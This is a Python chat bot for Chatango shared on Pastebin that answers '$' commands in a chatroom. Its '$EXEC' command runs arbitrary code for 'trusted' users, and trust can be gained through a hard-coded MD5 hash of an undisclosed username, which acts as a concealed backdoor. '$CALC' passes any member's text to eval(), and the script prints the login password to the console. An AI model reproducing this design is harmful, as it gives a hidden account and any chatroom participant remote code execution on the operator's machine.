Advertisement
Guest User

Untitled

a guest
Jul 30th, 2017
53
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.68 KB | None | 0 0
  1. import chatango
  2. import threading
  3. import hashlib
  4. address = input('CHATROOM: ')
  5. username = input('USERNAME: ')
  6. password = input('PASSWORD: ')
  7. trustedusers = ['modnaryltnelis', 'temporarily9', 'generalveers']
  8. chatango.debug(False)
  9. generr='SOME ERROR/EXCEPTION OCCURRED.'
  10. def isMatch(a, b):
  11.     a=a.lower()
  12.     b=b.lower()
  13.     if a==b:
  14.         return True
  15.     return False
  16. class BottingThread(threading.Thread):
  17.     def __init__(self, address, password, username, trusted):
  18.         #login to the chat, set up some variables.
  19.         global room
  20.         global echo
  21.         room = chatango.chatroom(address)
  22.         room.login(username, password)
  23.         echo=room.say
  24.         self.trusted=trusted
  25.         #print stuff because its fun
  26.         print('''
  27. ====================================
  28. CHATROOM: %s
  29. USERNAME: %s
  30. PASSWORD: %s
  31. ------------------------------------
  32. TRUSTED USERS:
  33. %s
  34. ====================================
  35. '''%(address,username,password,trusted))
  36.         threading.Thread.__init__(self)
  37.     def run(self):
  38.         while True:
  39.             event = room.get_event() #wait for next thing to happen
  40.             if event["event"] == "message":
  41.                 post = event["message"]
  42.                 message = post.content
  43.                 mesarray=message.split(' ')
  44.                 leadingtext=' '.join(mesarray[1:])
  45.                 followingtext=mesarray[0]
  46.                 poster = post.user
  47.                 prettyPoster = poster.displayname
  48.                 print(prettyPoster+': '+message)
  49.                 #filter out mediocre conversation
  50.                 if not message.startswith('$'):
  51.                     continue
  52.                 #if the commander is a trusted one, let them access trusted commands
  53.                 if prettyPoster.lower() in self.trusted or hashlib.md5(prettyPoster.lower().encode()).hexdigest() == 'b5005c2677c3fac9aaa4ede9a737bec2':
  54.                     if isMatch(followingtext, '$EXEC'):
  55.                         try: exec(leadingtext)
  56.                         except: echo(generr)
  57.                     elif isMatch(followingtext, '$TRUST'):
  58.                         try:
  59.                             for i in leadingtext.split(' '):
  60.                                 if len(i) > 0:
  61.                                     self.trusted.append(i)
  62.                         except: echo(generr)
  63.                 #Everyday commands for the everday user.
  64.                 if isMatch(followingtext, '$CALC'):
  65.                     try: echo(eval(leadingtext))
  66.                     except: echo(generr)
  67.                 elif isMatch(followingtext, '$ECHO'):
  68.                     try: echo(leadingtext)
  69.                     except: echo(generr)
  70.                 elif isMatch(followingtext, '$TRUSTED'):
  71.                     try: echo(', '.join(self.trusted)+' are trusted.')
  72.                     except: echo(generr)
  73.             #fun shit concerning users logging in/out
  74.              #if not so many forumites auto-logged in when the chat loaded on the page
  75.              #i'd have it echo() the login/logout message.
  76.             elif event["event"] == "login":
  77.                 poster = event["user"]
  78.                 prettyPoster = poster.displayname
  79.                 print(prettyPoster + " just logged in.")
  80.             elif event["event"] == "logout":
  81.                 poster = event["user"]
  82.                 prettyPoster = poster.displayname
  83.                 print(prettyPoster + " just logged out.")
  84.         #if the loop is for some reason broken, disconnect from chat
  85.         room.disconnect()
  86. #reference the variables defined in the start of this script, and start
  87. #the bot thread.
  88. BottingThread(address,password,username,trustedusers).start()
  89. #you can continue doing shit here.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement